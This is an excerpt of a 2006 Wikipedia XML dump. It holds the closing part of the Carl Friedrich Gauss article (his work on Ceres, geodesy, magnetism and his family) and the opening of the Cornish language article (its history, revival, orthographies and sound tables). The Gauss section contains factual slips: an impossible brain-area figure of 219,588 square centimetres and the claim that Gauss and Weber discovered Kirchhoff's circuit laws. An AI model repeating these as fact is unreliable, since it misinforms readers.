Gauss, who was 23 at the time, heard about the problem and tackled it head-on. After three months of intense work, he predicted a position for Ceres in December 1801 – just about a year after its first sighting – and this turned out to be accurate within a half-degree. In the process, he so streamlined the cumbersome mathematics of 18th century orbital prediction that his work – published a few years later as Theory of Celestial Movement – remains a cornerstone of astronomical computation. It introduced the [[gaussian gravitational constant]], and contained an influential treatment of the [[method of least squares]], a procedure used in all sciences to this day to minimize the impact of [[measurement error]]. Gauss was able to prove the method in 1809 under the assumption of [[normal distribution|normally distributed]] errors (see [[Gauss-Markov theorem]]; see also [[Gaussian]]). The method had been described earlier by [[Adrien-Marie Legendre]] in 1805, but Gauss claimed that he had been using it since 1795.

Gauss had been asked in the late 1810s &lt;!--we said 1818, PlanetMath says 1816. Which is correct?--&gt; to carry out a geodetic &lt;!--geodetic (pertaining to shape &amp; size of the earth) is correct, not geodesic --&gt; [[survey]] of the state of [[Hanover]] to link up with the existing [[Denmark|Danish]] grid. Gauss was pleased to accept and took personal charge of the survey, making measurements during the day and reducing them at night, using his extraordinary mental capacity for calculations. He regularly wrote to [[Heinrich Christian Schumacher|Schumacher]], [[Heinrich Wilhelm Matthäus Olbers|Olbers]] and [[Bessel]], reporting on his progress and discussing problems. As part of the survey, Gauss invented the [[heliotrope (instrument)|heliotrope]] which worked by reflecting the Sun's rays using a set of mirrors and a small telescope.

Gauss also claimed to have discovered the possibility of [[non-Euclidean geometry|non-Euclidean geometries]] but never published it. This discovery was a major paradigm shift in mathematics, as it freed mathematicians from the mistaken belief that [[Euclid]]'s axioms were the only way to make geometry consistent and non-contradictory. Research on these geometries led to, among other things, [[Albert Einstein|Einstein]]'s theory of [[general relativity]], which describes the universe as non-Euclidean. His friend [[Farkas Bolyai|Farkas (Wolfgang) Bolyai]] (with whom Gauss had sworn &quot;brotherhood and the banner of truth&quot; as a student) had tried in vain for many years to prove the [[parallel postulate]] from Euclid's other axioms of geometry. Bolyai's son, [[Janos Bolyai|János Bolyai]], discovered non-Euclidean geometry in 1829; his work was published in 1832. After seeing it, Gauss wrote to Farkas Bolyai: ''&quot;To praise it would amount to praising myself. For the entire content of the work ... coincides almost exactly with my own meditations which have occupied my mind for the past thirty or thirty-five years.&quot;'' This unproved statement put a strain on his relationship with János Bolyai (who thought that Gauss was &quot;stealing&quot; his idea), but it is nowadays generally taken at face value.

[[Image:Normal distribution pdf.png|thumb|240px|right|[[Gaussian distribution]] in [[statistics]].]]
The survey of Hanover later led to the development of the Gaussian distribution, also known as the [[normal distribution]], for describing measurement errors. Moreover, it fuelled Gauss's interest in [[differential geometry]], a field of mathematics dealing with [[curve]]s and [[surface]]s. In this field, he came up with an important theorem, the [[theorema egregrium]] (''remarkable theorem'' in [[Latin]]) establishing an important property of the notion of [[curvature]]. Informally, the theorem says that the curvature of a surface can be determined entirely by measuring [[angle]]s and [[distance]]s on the surface; that is, curvature does not depend on how the surface might be [[embedding|embedded]] in (3-dimensional) space.

===Later years, death, and afterwards===
[[Image:Gauss stamp.jpg|150px|left|thumb|''Stamp no.725, a commemorative [[postage stamp|stamp]] released in the 100th anniversary of Gauss' death.'']]
In 1831 Gauss developed a fruitful collaboration with the physics professor [[Wilhelm Weber]]; it led to new knowledge in the field of [[magnetism]] (including finding a representation for the unit of magnetism in terms of mass, length and time) and the discovery of [[Kirchhoff's circuit laws]] in electricity. Gauss and Weber constructed the first electromagnetic telegraph in 1833, which connected the observatory with the institute for physics in Göttingen. Gauss ordered a magnetic observatory to be built in the garden of the observatory and with Weber founded the ''magnetischer Verein'' (&quot;magnetic club&quot;), which supported measurements of earth's magnetic field in many regions of the world. He developed a method of measuring the horizontal intensity of the magnetic field which has been in use well into the second half of the 20th century and worked out the mathematical theory for separating the inner ([[planetary core|core]] and [[crust]]) and outer ([[magnetosphere|magnetospheric]]) sources of Earth's magnetic field.

Gauss died in [[Göttingen]], [[Hanover (state)|Hanover]] (now part of [[Lower Saxony]], [[Germany]]) in 1855 and is interred in the cemetery ''[[Albanifriedhof]]'' there.  His brain was preserved and was studied by [[Robert Heinrich Wagner|Robert Wagner]] who found its weight to be 1,492 grams and the cerebral area equal to 219,588 square centimetres. There were also found highly developed convolutions, which in the early 20th century was suggested as the explanation of his genius (Dunnington, 1927). [[Phrenology]] has, of course, since been discounted as [[pseudoscience]].

===Family===
Gauss's personal life was overshadowed by the early death of his beloved first wife, Johanna Osthoff, in 1809, soon followed by the death of one child, Louis. Gauss plunged into a [[Clinical depression|depression]] from which he never fully recovered. He married again, to a friend of his first wife named Friederica Wilhelmine Waldeck (Minna), but the second marriage does not seem to have been very happy. When his second wife died in 1831 after long illness, one of his daughters, Therese, took over the household and cared for Gauss until the end of his life. His mother lived in his house from 1812 until her death in 1839.

Gauss had six children, three by each wife. With Johanna (1780–1809), his children were Joseph (1806–1873), Wilhelmina (1808–1846) and Louis (1809–1810). Of all of Gauss's children, Wilhelmina was said to have come closest to his talent, but she died young. With Minna Waldeck he also had three children: Eugen (1811–1896), Wilhelm (1813–1879) and Therese (1816–1864). Eugen emigrated to the [[United States]] about 1832 after a falling out with his father, eventually settling in [[Saint Charles, Missouri|St. Charles]], [[Missouri]], where he became a well respected member of the community.  Wilhelm came to settle in Missouri somewhat later, starting as a [[farmer]] and later becoming wealthy in the shoe business in [[St. Louis]]. Therese kept house for Gauss until his death, after which she married.

===Personality===
Gauss was an ardent [[perfectionism (psychology)|perfectionist]] and a hard worker. There is a famous anecdote of Gauss being interrupted in the middle of a problem and told that his wife was dying. He is purported to have said, &quot;Tell her to wait a moment 'til I'm through&quot;. He was never a prolific writer, refusing to publish works which he did not consider complete and above criticism. This was in keeping with his personal motto ''pauca sed matura'' (few, but ripe). A study of his personal diaries reveal that he had in fact discovered several important mathematical concepts years or decades before they were published by his contemporaries. Prominent mathematical historian [[Eric Temple Bell]] estimated that had Gauss made known all of his discoveries, mathematics would have been advanced by fifty years. (Bell, 1937.)

Another criticism of Gauss is that he did not support the younger mathematicians who followed him. He rarely if ever collaborated with other mathematicians and was considered aloof and austere by many. Though he did take in a few students, Gauss was known to dislike teaching (it is said that he only attended a single scientific conference, which was in [[Berlin]] in 1828). However, several of his students turned out to be influential mathematicians, among them [[Richard Dedekind]] and [[Bernhard Riemann]].

Gauss was deeply religious and conservative. He supported monarchy and opposed [[Napoleon I of France|Napoleon]] whom he saw as an outgrowth of [[revolution]]. &lt;!-- ??? --&gt;

==Commemorations==
From 1989 until the end of 2001, his portrait and a normal distribution curve were featured on the German ten-mark banknote. Germany has issued three stamps honouring Gauss, as well. The stamp pictured above, no. 725, was issued in 1955 on the hundredth anniversary of his death; two other stamps, no. 1246 and 1811, were issued in 1977, the 200th anniversary of his birth.

[[G. Waldo Dunnington]] was a lifelong student of Gauss. He wrote many articles, and a biography: ''Carl Frederick Gauss: Titan of Science.''  This book was reissued in 2003, after having been [[out of print]] for almost 50 years.

[[Gauss (crater)|Gauss crater]] on the [[Moon]] is named in honour of Carl F. Gauss, as is the [[asteroid]] [[1001 Gaussia]].

In Canadian junior high schools, an annual national mathematics competition administered by the [[University of Waterloo]] is named in honour of Gauss.

==See also==
* [[List of topics named after Carl Friedrich Gauss]]

==References==
* {{cite book
 | last = Bell | first = E. T.
 | chapter = Ch. 14: The Prince of Mathematicians: Gauss
 | title = Men of Mathematics: The Lives and Achievements of the Great Mathematicians from Zeno to Poincaré
 | location = New York
 | publisher = Simon and Schuster
 | pages = pp. 218–269
 | date = 1986
 | id = ISBN 0671464000
 }}
* {{cite web
 | title = Carl Friedrich Gauss
 | url = http://www.geocities.com/RainForest/Vines/2977/gauss/english.html
 | accessdate = June
 | accessyear = 2005
 }}
* {{planetmath reference | id = 5594 | title = Carl Friedrich Gauss }}
* {{cite journal
 | last = Dunnington | first = G. Waldo.
 | url = http://www.mathsong.com/cfgauss/Dunnington/1927/
 | title = The Sesquicentennial of the Birth of Gauss
 | journal = Scientific Monthly
 | date = May, 1927 | volume = XXIV | pages = 402–414
 | accessdate = [[29 June]] | accessyear = [[2005]]
 }} Comprehensive biographical article.
* {{cite book
 | last = Dunnington
 | first = G. Waldo.
 | title = Carl Friedrich Gauss: Titan of Science
 | publisher = The Mathematical Association of America
 | date = June 2003
 | id = ISBN 0-88385-547-X
 }}
* {{cite book
 | last = Gauss
 | first = Carl Friedrich
 | others = tr. Arthur A. Clarke
 | title = [[Disquisitiones Arithmeticae]]
 | publisher = Yale University Press
 | date = 1965
 | id = ISBN 0300094736
 }}
* {{cite book
 | last = Hall
 | first = T.
 | title = Carl Friedrich Gauss: A Biography
 | location = Cambridge, MA
 | publisher = MIT Press
 | date = 1970
 | id = ISBN 0262080400
 }}
* {{cite web
 | title = Gauss and His Children
 | url = http://www.gausschildren.org
 | accessdate = June
 | accessyear = 2005
 }}
* {{cite book
 | last = Simmons
 | first = J.
 | title = The Giant Book of Scientists: The 100 Greatest Minds of All Time
 | location = Sydney
 | publisher = The Book Company
 | date = 1996
 }}

==External links==
{{wikiquote}}
* [http://www.corrosion-doctors.org/Biographies/GaussBio.htm Gauss biography]
* {{MacTutor Biography|id=Gauss}}
*{{MathGenealogy|id=18231}} 
* [http://fermatslasttheorem.blogspot.com/2005/06/carl-friedrich-gauss.html Carl Friedrich Gauss], covers topics in the history of Fermat's Last Theorem from Diophantus of Alexandria to Andrew Wiles.
* [http://www.gauss.info Gauss], general information, submit  your site about Gauss.
* Obituary: [http://adsabs.harvard.edu//full/seri/MNRAS/0016//0000080.000.html MNRAS '''16''' (1856) 80]
* [http://en.wikipedia.org/wiki/Gant%27s_Augmentation Gant's Augmentation] of Gauss' Sum Formula

{{featured article}}

[[Category:1777 births|Gauss, Carl Friedrich]]
[[Category:1855 deaths|Gauss, Carl Friedrich]]
[[Category:18th century mathematicians|Gauss, Carl Friedrich]]
[[Category:19th century mathematicians|Gauss, Carl Friedrich]]
[[Category:Autodidacts|Gauss, Carl Friedrich]]
[[Category:Calculating prodigies|Gauss, Carl Friedrich]]
[[Category:Christians in science|Gauss]]
[[Category:Contributors to differential geometry|Gauss, Carl Friedrich]]
[[Category:German astronomers|Gauss, Carl Friedrich]]
[[Category:German mathematicians|Gauss, Carl Friedrich]]
[[Category:German physicists|Gauss, Carl Friedrich]]
[[Category:German scientists|Gauss, Carl Friedrich]]
[[Category:Number theorists|Gauss, Carl Friedrich]]

{{Link FA|pl}}

[[ar:كارل فريدرش غاوس]]
[[bg:Карл Фридрих Гаус]]
[[bn:কার্ল ফ্রিদ্রিশ গাউস]]
[[ca:Carl Friedrich Gauss]]
[[cs:Carl Friedrich Gauss]]
[[de:Carl Friedrich Gauß]]
[[es:Carl Friedrich Gauss]]
[[eo:Carl Friedrich GAUSS]]
[[fa:کارل فردریش گاوس]]
[[fr:Carl Friedrich Gauss]]
[[ko:카를 프리드리히 가우스]]
[[hr:Karl Friedrich Gauss]]
[[id:Carl Friedrich Gauss]]
[[it:Carl Friedrich Gauss]]
[[he:קרל פרידריך גאוס]]
[[la:Carolus Fridericus Gauss]]
[[nl:Carl Friedrich Gauss]]
[[ja:カール・フリードリヒ・ガウス]]
[[no:Carl Friedrich Gauss]]
[[pl:Carl Friedrich Gauss]]
[[pt:Carl Friedrich Gauss]]
[[ro:Carl Friedrich Gauss]]
[[ru:Гаусс, Карл Фридрих]]
[[sco:Carl Friedrich Gauss]]
[[scn:Karl Friedrich Gauss]]
[[sk:Carl Friedrich Gauss]]
[[sl:Carl Friedrich Gauss]]
[[fi:Carl Friedrich Gauss]]
[[sv:Carl Friedrich Gauss]]
[[th:คาร์ล ฟรีดริช เกาส์]]
[[vi:Carl Friedrich Gauß]]
[[tr:Carl Friedrich Gauss]]
[[uk:Гаус Карл Фрідріх]]
[[zh:卡爾·弗里德里希·高斯]]</text>
    </revision>
  </page>
  <page>
    <title>Cornish language</title>
    <id>6130</id>
    <revision>
      <id>42071508</id>
      <timestamp>2006-03-03T16:57:06Z</timestamp>
      <contributor>
        <username>Adelphosadelphon</username>
        <id>1024071</id>
      </contributor>
      <minor />
      <text xml:space="preserve">''For the Cornish-English dialect, see [[West Country dialects]]''
{{Infobox Language
|name=Cornish
|nativename=Kernewek, Kernowek, Curnoack
|familycolor=Indo-European
|states=[[United Kingdom]]
|region=[[Cornwall]]
|speakers=3,500 (estimate)
|fam2=[[Celtic languages|Celtic]]
|fam3=[[Insular Celtic languages|Insular Celtic]]
|fam4=[[Brythonic languages|Brythonic]]
|agency= [[Kesva an Taves Kernewek]]
|iso1=kw|iso2=cor|iso3=cor}}

The '''Cornish language''' (in Cornish: ''Kernowek'', ''Kernewek'', ''Curnoack'') is one of the [[Brythonic]]  group of [[Celtic languages]] that includes [[Welsh language|Welsh]], [[Breton language|Breton]], the extinct [[Cumbric language|Cumbric]] and perhaps the hypothetical [[Ivernic]]. The Celtic languages of [[Scottish Gaelic]], [[Irish language|Irish]] and [[Manx language|Manx]] are part of the separate [[Goidelic languages|Goidelic]] group. Cornish shares about 80% basic vocabulary with Breton, 75% with [[Welsh language|Welsh]], 35% with Irish, and 35% with Scottish Gaelic. By comparison, Welsh shares about 70% with Breton. Cornish ceased to function as a community language in the late 18th century, but was revived early in the 20th century. It has been estimated that currently around 3,500 speak Cornish to a basic conversational level, and 300-400 fluently. Perhaps a score or more children and young adults should be considered native speakers of Revived Cornish.

==History==
The proto-Cornish language came into being after the Southwest Britons of [[Somerset]], [[Dorset]], [[Devon]] and [[Cornwall]] became geographically separated from the West Britons of later [[Wales]] after the [[Battle of Deorham]] in about 577. The area controlled by the Southwest Britons was progressively reduced by the expansion of [[Wessex]] over the next few centuries.  Around 930, [[Cornwall]] was finally conquered by the Saxon king [[Athelstan of England|Athelstan]]. However, the Cornish language continued to flourish well through the Middle Ages, reaching a peak of about 38,000 speakers (estimated by [[Ken George]]) in the 13th century.

[[Image:Kornisch.png|right|thumb|250px|The shifting of the linguistic boundary in Cornwall 1300-1750]]

At the time of the [[Prayer Book Rebellion|Prayer Book rebellion]] of [[1549]], which was a reaction to Parliament passing the first [[Act of Uniformity]], people in many areas of Cornwall did not speak or understand [[English language|English]] (The intention of the Act was to replace worship in Latin with worship in English, which was assumed, by the lawmakers, to be universally spoken throughout England. Instead of simply banning Latin, however, the Act was framed so as to enforce English). In 1549, this imposition of a new language was sometimes a matter of life and death: over 4,000 people who protested against the imposition of an English Prayer book were massacred by the [[Edward VI of England|King]]'s army.
Their leaders were executed and the people suffered numerous reprisals. 

The rebels' document claimed they wanted a return to the old religious services and ended 'We the Cornishmen (whereof certain of us understand no English) utterly refuse this new English'. (Altered spelling.) [[Edward Seymour, 1st Duke of Somerset|Edward Seymour]], Duke of [[Somerset]], replied to the Cornishmen, inquiring as to why they should be offended by services in English when they had them in Latin, which they also did not understand. Through many factors, including loss of life and the spread of English the Prayer Book Rebellion proved a turning point for the Cornish language. Indeed, some recent research has suggested that estimates of the Cornish speaking population prior to the rebellion may have been low, making the decline even more drastic.

Early Modern Cornish was the subject of a study by the Welsh linguist [[Edward Llwyd|Edward Lhuyd]] in [[1700]], and differs from the mediaeval language in having a simpler structure and grammar.  By this time the language was already arguably in decline from its earlier heyday, and the situation worsened over the course of the next century.  It is often claimed that the last [[first language|native speaker]] of Cornish was the [[Mousehole]] resident [[Dolly Pentreath]], who died in [[1777]]. Notwithstanding her supposed last words, &quot;Me ne vidn cewsel Sawznek!&quot; (&quot;I don't want to speak English!&quot;), she spoke at least some English as well as Cornish. The last known [[monoglottism|monoglot]] Cornish speaker is believed to have been [[Chesten Marchant]], who died in [[1676]] at [[Gwithian, Cornwall, England|Gwithian]]. It does, however, appear to be true that Dolly Pentreath spoke Cornish fluently and may have been one of the last to do so before the revival of the language in the [[20th century]].  There is evidence that Cornish continued, albeit in limited usage by a handful of speakers, throughout the [[19th century]] and into the early [[20th century]]. In [[1875]] six speakers all in their sixties were discovered; some claim that [[John Davey]] who died in [[1890]] should be considered the last traditional speaker. Fishermen were counting fish in the Cornish language into the [[1940s]]. It has been suggested by Cornish linguist Richard Gendall that some dialects of [[English language|English]] spoken in Cornwall (especially the dialect of West Penwith, where traditional Cornish was last spoken) display strong lexical and prosodic influences from the Cornish language that almost certainly go back several centuries.

===Revival===
The first successful attempt to [[Language revival|revive]] Cornish was largely the work of [[Henry Jenner]] and [[Robert Morton Nance]] in the early part of the twentieth century.  This system was called '''Unified Cornish''' (''Kernewek Unyes'') and was based mainly on Middle Cornish (the language of the fourteenth and fifteenth centuries &amp;mdash; a high point for Cornish literature), with a standardised spelling and an extended vocabulary based largely on native sources, enriched by [[Breton language|Breton]] and [[Welsh language|Welsh]]. For many years, this was ''the'' modern Cornish language, and some people still use it today.

Shortcomings in Unified Cornish had to do in part with the stiff and archaising literary style Nance had employed, and in part with a realisation that Nance's phonology lacked some distinctions which must have obtained in traditional Cornish. In the 1970s, Tim Saunders raised a number of issues of communicative efficiency, but his initiative had no influence and later developments are entirely independent. 

In the early 1980s, [[Richard Gendall]], who had worked with Nance, published a new system based on the meagre prose works of [[Nicholas Boson]] and [[John Boson]]. This system, called '''Modern Cornish''' (''Curnoack Nowedga'') by its proponents, differs from Unified Cornish in using the English-based orthographies of the 17th and 18th centuries, though there are also differences of vocabulary and grammar. Gendall was not the first to perceive that the Unified Cornish standard did have some serious deficiencies, but his anglicised spelling was particularly unpopular, and his frequent revisions discouraged potential supporters. This school's vituperative polemics alienated most of the Cornish-speaking community, and by now it has imploded. 

In 1986 [[Ken George]] developed a revised orthography (and phonology) for Revived Cornish, which became known as '''Kernewek Kemmyn''' (lit. ''Common Cornish''). It was subsequently adopted by [[Kesva an Taves Kernewek|the Cornish Language Board]] as their preferred system. It retained a Middle Cornish base but made the spelling more systematic by applying phonemic orthographic theory, and for the first time set out clear rules relating spelling to pronunciation. The revised system was taken up enthusiastically by the majority of Cornish speakers and learners, and was especially welcomed by teachers. Nevertheless, a minority chose to continue using Unified Cornish. Despite later criticism by [[Nicholas Williams]] (see below), Kernewek Kemmyn has retained the support of perhaps 80% of active Cornish speakers. ([http://www.gosw.gov.uk/gosw/culturehome/heritage/cornish/ McKinnon Report, 2000], Table 3.2).

In 1995 [[Nicholas Williams]] proposed an alternative revision of Unified Cornish known as '''Unified Cornish Revised''' or '''UCR''' (''Kernowek Unys Amendys''). This version adapted the spelling to fit a phonology reconstructed on the basis of Dr. Williams' theories, while keeping as close as possible to the orthographic practices of the medieval scribes. In common with Kernewek Kemmyn, it makes full use of Tudor and Late Cornish prose materials unavailable to Nance. Williams published his ''English-Cornish Dictionary'' in this orthography in 2000. Like the other orthographies, UCR also has its adherents and its detractors. It has not, however, attracted more than a handful of supporters.   

In practice these different written forms do not prevent Cornish-speakers from communicating with each other effectively. Cornish has been successfully revived as a viable language for communication. Nevertheless there is still much scope for improving the standard and accuracy of the spoken language. The language is spoken mainly with the older generations, but is currently being taught at some cornish primary schools

==Current status==
In the [[20th century]] a conscious effort was made to revive Cornish as a language for everyday use in speech and writing (see below for further details about the dialects of modern Cornish).

It is estimated that there are now approximately 3,500 speakers of Cornish (about 0.7% of the Cornish population) and 300-400 fluent speakers (about 0.07%). It is estimated that in excess of 5,000 more have some knowledge of basic phrases or could understand basic sentences. A few people under the age of 30 have been brought up speaking it. Cornish exists in place names, and a knowledge of the language helps the understanding of old place names. Many Cornish names are adopted for children, pets, houses and boats. There is now an amount of Cornish literature, in which poetry is the most important genre, particularly in oral form or as song.

[[Cornwall County Council]] has, as policy, a commitment to support the language, and recently passed a motion supporting it being specified within the European charter for regional or minority languages. 

There are regular periodicals solely in the language such as the monthly ''An Gannas'', ''An Gowsva'', and ''An Garrick''. Radio Cornwall and Pirate FM have regular news broadcasts in Cornish, and sometimes have other programmes and features for learners and enthusiasts.  Local newspapers such as the ''[[The Western Morning News|Western Morning News]]'' regularly have articles in Cornish, and newspapers such as ''The Packet'', ''The West Briton'' and ''The Cornishman'' also support the movement. 

The language has financial sponsorship from many sources, including the [[Millennium Commission]]. Increasingly, churches have notices in Cornish and English.  The take-up of the language is now becoming so widespread that language organisations are finding it difficult to keep up with demand. These organisations include (in alphabetical order) [[Agan Tavas]] (Our Language), the Cornish sub-group of the [[European Bureau for Lesser-Used Languages]], [[Gorseth Kernow]], [[Kesva an Taves Kernewek]] (the Cornish Language Board), [[Kowethas an Yeth Kernewek]] (the Cornish Language Fellowship), and [[Teere ha Tavas]] (Land and Language). One organisation, [[Dalleth]], promoted the language to pre-school children. There are many popular ceremonies, some ancient, some modern, which use the language or are entirely in the language.

===Culture===
:''See [[Cornish literature]]''

[[Cornwall]] has many other cultural events associated with the language, including the international [[Celtic film festival]], hosted in [[St Ives, Cornwall|St Ives]] in [[1997]], with the programme in Cornish, English and French. There have been many films, some televised, made entirely, or significantly, in the language. Some shops, such as Gwynn ha Du, in the town of [[Liskeard]], sell books written in Cornish. Many companies use Cornish names. The overnight physician's service in Cornwall is now called ''Kernowdoc''. Cornish is taught in some schools; it was previously taught at degree level in the [[University of Wales]], though the only existing courses in the language at University level are as part of a course in Cornish Studies at the [[University of Exeter]], or as part of the distance-learning [[Welsh language | Welsh]] degree from the [[University of Wales, Lampeter]]. 

The Cornish language has been recognised as a minority language by the UK government under the [[European Charter for Regional or Minority Languages]]. This follows years of pressure by interest groups such as [[Mebyon Kernow]] and Kesva an Taves Kernewek.

The first complete edition of the New Testament in Cornish, [[Nicholas Williams]]' translation of the ''Testament Noweth agan Arluth ha Savyour Jesu Cryst'', was published at [[Easter]] 2002 by Spyrys a Gernow (ISBN 0-9535975-4-7); it uses Unified Cornish Revised orthography. The translation was made from the Greek text, and incorporated John Tregear's existing translations with slight revisions.

In August [[2004]], Kesva an Taves Kernewek published its edition of the New Testament in Cornish (ISBN 1-902917-33-2), translated by Keith Syed and Ray Edwards; it uses Kernewek Kemmyn orthography. It was launched in a ceremony in [[Truro Cathedral]] attended by the [[Archbishop of Canterbury]].

The [[Celtic Congress]] and [[Celtic League (political organisation)|Celtic League]] is a group that advocates cooperation amongst the Celtic Nations in order to protect and promote Celtic languages and cultures, thus working in the interests of the Cornish language.

===European recognition===
On [[November 5]], [[2002]] in answer to a Parliamentary Question, Local Government and Regions Minister [[Nick Raynsford]] said: 

&lt;blockquote&gt;&quot;After careful consideration and with the help of the results of an independent academic study on the language commissioned by the government, we have decided to recognise Cornish as falling under Part II of the [[European Charter for Regional or Minority Languages]]. The government will be registering this decision with the [[Council of Europe]].&lt;/blockquote&gt;

&lt;blockquote&gt;&quot;The purpose of the Charter is to protect and promote the historical regional or minority languages of Europe. It recognises that some of these languages are in danger of extinction and that protection and encouragement of them contributes to Europe's cultural diversity and historical traditions.&lt;/blockquote&gt;

&lt;blockquote&gt;&quot;This is a positive step in acknowledging the symbolic importance the language has for Cornish identity and heritage.&lt;/blockquote&gt;

&lt;blockquote&gt;&quot;Cornish will join Welsh, Scottish Gaelic, Irish, Scots and Ulster Scots as protected and promoted languages under the Charter, which commits the government to recognise and respect those languages.&quot;&lt;/blockquote&gt;

Officials will be starting discussions with [[Cornwall County Council]] and Cornish language organisations to ensure the views of Cornish speakers and people wanting to learn Cornish are taken into account in implementing the Charter.

==Sounds==
The pronunciation of traditional Cornish is a matter of conjecture, but varieties of Revived Cornish are more or less agreed about the phonology they use.

===The consonants of Revived Cornish ===
This is a table of the phonology of Revived Cornish as recommended for the pronunciation of Unified Cornish Revised (UCR) orthography, using symbols from the [[International Phonetic Alphabet]] (IPA).
{|class=&quot;wikitable&quot;
! &amp;nbsp;
![[bilabial consonant|bilabial]]
![[labiodental consonant|labio-&lt;br /&gt;dental]]
![[interdental consonant|dental]]
![[alveolar consonant|alveolar]]
![[palato-alveolar consonant|post-&lt;br /&gt;alveolar]]
![[palatal consonant|palatal]]
![[labio-velar consonant|labio-velar]]
![[velar consonant|velar]]
![[glottal consonant|glottal]]
|-
|'''[[plosive consonant|plosive]]'''
| style=&quot;text-align:center;&quot;|{{IPA|p&amp;nbsp;&amp;nbsp;b}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|t&amp;nbsp;&amp;nbsp;d}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|k&amp;nbsp;&amp;nbsp;g}}
| &amp;nbsp;
|-
|'''[[nasal consonant|nasal]]'''
| style=&quot;text-align:center;&quot;|{{IPA|m}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|n}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|ŋ}}
| &amp;nbsp;
|-
|'''[[fricative consonant|fricative]]'''
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|f&amp;nbsp;&amp;nbsp;v}}
| style=&quot;text-align:center;&quot;|{{IPA|θ&amp;nbsp;&amp;nbsp;ð}}
| style=&quot;text-align:center;&quot;|{{IPA|s&amp;nbsp;&amp;nbsp;z}}
| style=&quot;text-align:center;&quot;|{{IPA|ʃ&amp;nbsp;&amp;nbsp;ʒ}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|x}}
| style=&quot;text-align:center;&quot;|{{IPA|h}}
|-
|'''[[approximant]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|ɹ}}
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|j}}
| style=&quot;text-align:center;&quot;|{{IPA|ʍ&amp;nbsp;&amp;nbsp;w}}
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[lateral consonant|lateral approximant]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|l}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|}

===The vowels of Revived Cornish ===
These are tables of the phonology of Revived Cornish as recommended for the pronunciation of Unified Cornish Revised (UCR) orthography, using symbols from the [[International Phonetic Alphabet]] (IPA).
{|class=&quot;wikitable&quot;
|+'''Short vowels'''
! &amp;nbsp;
! [[Front vowel]]s
! [[Central vowel]]s
! [[Back vowel]]s
|-
! [[Close vowel|Close]]
| align=center | {{IPA|y}}
| &amp;nbsp;
| &amp;nbsp;
|-
! [[Near-close vowel|Near-close]]
| align=center | {{IPA|ɪ}}
| &amp;nbsp;
| align=center | {{IPA|ʊ}}
|-
! [[Close-mid vowel|Close-mid]]
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
! [[Mid vowel|Mid]]
| &amp;nbsp;
| align=center | {{IPA|ə}}
| &amp;nbsp;
|-
! [[Open-mid vowel|Open-mid]]
| align=center | {{IPA|ɛ}} {{IPA|œ}}
| &amp;nbsp;
| align=center | {{IPA|ɔ}}
|-
! [[Near-open vowel|Near-open]]
| align=center | {{IPA|æ}}
| &amp;nbsp;
| &amp;nbsp;
|-
! [[Open vowel|Open]]
| align=center | {{IPA|a}}
| &amp;nbsp;
| align=center | {{IPA|ɒ}}
|}

{|class=&quot;wikitable&quot;
|+'''Long vowels'''
! &amp;nbsp;
! [[Front vowel]]s
! [[Central vowel]]s
! [[Back vowel]]s
|-
! [[Close vowel|Close]]
| align=center | {{IPA|iː}} {{IPA|yː}}
| &amp;nbsp;
| align=center | {{IPA|uː}}
|-
! [[Near-close vowel|Near-close]]
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
! [[Close-mid vowel|Close-mid]]
| align=center | {{IPA|eː}} {{IPA|øː}}
| &amp;nbsp;
| &amp;nbsp;
|-
! [[Mid vowel|Mid]]
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
! [[Open-mid vowel|Open-mid]]
| &amp;nbsp;
| &amp;nbsp;
| align=center | {{IPA|ɔː}}
|-
! [[Near-open vowel|Near-open]]
| align=center | {{IPA|æː}}
| &amp;nbsp;
| &amp;nbsp;
|-
! [[Open vowel|Open]]
| &amp;nbsp;
| &amp;nbsp;
| align=center | {{IPA|ɒː}}
|}

==Grammar==
Cornish is a member of the [[Celtic languages|Celtic]] branch of the [[Indo-European]] family of languages, and shares many of the characteristics of the other Insular Celtic languages.  These include:

*''Initial [[consonant mutation]]''.  The first sound of a Cornish word may change according to grammatical context.   There are four types of mutation in Cornish (compared to three in [[Welsh language|Welsh]] and two in [[Irish language|Irish]]).  These are known as ''soft'' (''b'' -&gt; ''v'', etc.), ''hard'' (''b'' -&gt; ''p''), ''aspirate'' (''b'' unchanged, ''t'' -&gt; ''th'') and ''mixed'' (''b'' -&gt; ''f'').
&lt;center&gt;
{| class=&quot;wikitable&quot;
 |+'''Consonant Mutation in Cornish''' &lt;br&gt;(spelled as in Kernwek Kemmyn)
 !Unmutated&lt;br&gt;consonant!! Soft &lt;br&gt;mutation !! Aspirate &lt;br&gt;mutation !! Hard &lt;br&gt;mutation !! Mixed &lt;br&gt;mutation
 |- align=&quot;center&quot;
 |p||b||f||||
 |- align=&quot;center&quot;
 |t||d||th||||
 |- align=&quot;center&quot;
 |k||g||h||||
 |- align=&quot;center&quot;
 |b||v||||p||f
 |- align=&quot;center&quot;
 |d||dh||||t||t
 |- align=&quot;center&quot;
 |g&lt;sup&gt;1&lt;/sup&gt;||''disappears''||||k||h
 |- align=&quot;center&quot;
 |g&lt;sup&gt;2&lt;/sup&gt;||w||||k||hw
 |- align=&quot;center&quot;
 |gw||w||||kw||hw
 |- align=&quot;center&quot;
 |m||v||||||f
 |-  align=&quot;center&quot;
 |ch||j||||||
 |}
&lt;sup&gt;1&lt;/sup&gt; Before unrounded vowels, l, and r (provided it is followed by an unrounded vowel).&lt;br&gt;
&lt;sup&gt;2&lt;/sup&gt; Before rounded vowels, and r (provided it is followed by a rounded vowel). 
